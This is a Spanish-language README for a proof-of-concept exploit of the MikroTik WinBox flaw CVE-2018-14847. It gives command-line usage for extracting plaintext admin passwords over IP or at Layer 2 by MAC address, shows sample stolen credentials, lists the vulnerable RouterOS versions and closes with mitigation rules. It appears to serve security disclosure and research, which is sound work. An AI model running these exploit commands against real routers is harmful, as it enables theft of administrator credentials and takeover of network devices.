WinboxExploit

Esta es una prueba de concepto de la vulnerabilidad crítica de WinBox (CVE-2018-14847) que permite la lectura arbitraria de archivos con contraseñas en texto plano.

La vulnerabilidad ya fue corregida hace tiempo, por lo que este proyecto ha finalizado y no recibirá más soporte ni actualizaciones. Puedes clonarlo y actualizarlo por tu cuenta.

Blogpost

https://n0p.me/winbox-bug-dissection/

Requisitos

• Python 3+

Este script NO funcionará con Python 2.x o versiones anteriores.

Cómo usar

El script se usa de manera simple con argumentos simples en la línea de comandos.

WinBox (TCP/IP)

Explota la vulnerabilidad y lee la contraseña.

python3 WinboxExploit.py <DIRECCIÓN-IP> [PUERTO]

Ejemplo:

$ python3 WinboxExploit.py 172.17.17.17
Conectado a 172.17.17.17:8291
Exploit exitoso
Usuario: admin
Contraseña: Th3P4ssWord

Servidor MAC WinBox (Capa 2)

Puedes extraer archivos incluso si el dispositivo no tiene dirección IP.

Descubrimiento simple de dispositivos Mikrotik conectados localmente.

python3 MACServerDiscover.py

Ejemplo:

$ python3 MACServerDiscover.py
Buscando dispositivos Mikrotik (servidores MAC)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Explota la vulnerabilidad y lee la contraseña.

python3 MACServerExploit.py <DIRECCIÓN-MAC>

Ejemplo:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

Usuario: admin
Contraseña: Th3P4ssWord

Versiones vulnerables

Todas las versiones de RouterOS desde el 28-05-2015 hasta el 20-04-2018 son vulnerables a este exploit.

Dispositivos Mikrotik con versiones de RouterOS:

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

Para más información, visita: https://blog.mikrotik.com/security/winbox-vulnerability.html

Técnicas de mitigación

• Actualiza el router a una versión de RouterOS que incluya la corrección.
• Deshabilita el servicio WinBox en el router.
• Puedes restringir el acceso al servicio WinBox a direcciones IP específicas con lo siguiente:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• Puedes usar algunas reglas de filtro (ACL) para denegar el acceso externo al servicio WinBox:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• Limitar el acceso al servicio mac-winbox se puede hacer especificando interfaces permitidas:

/tool mac-server mac-winbox

Copyright

• Patrocinado por el CERTCC de Irán (https://certcc.ir). Todos los derechos reservados.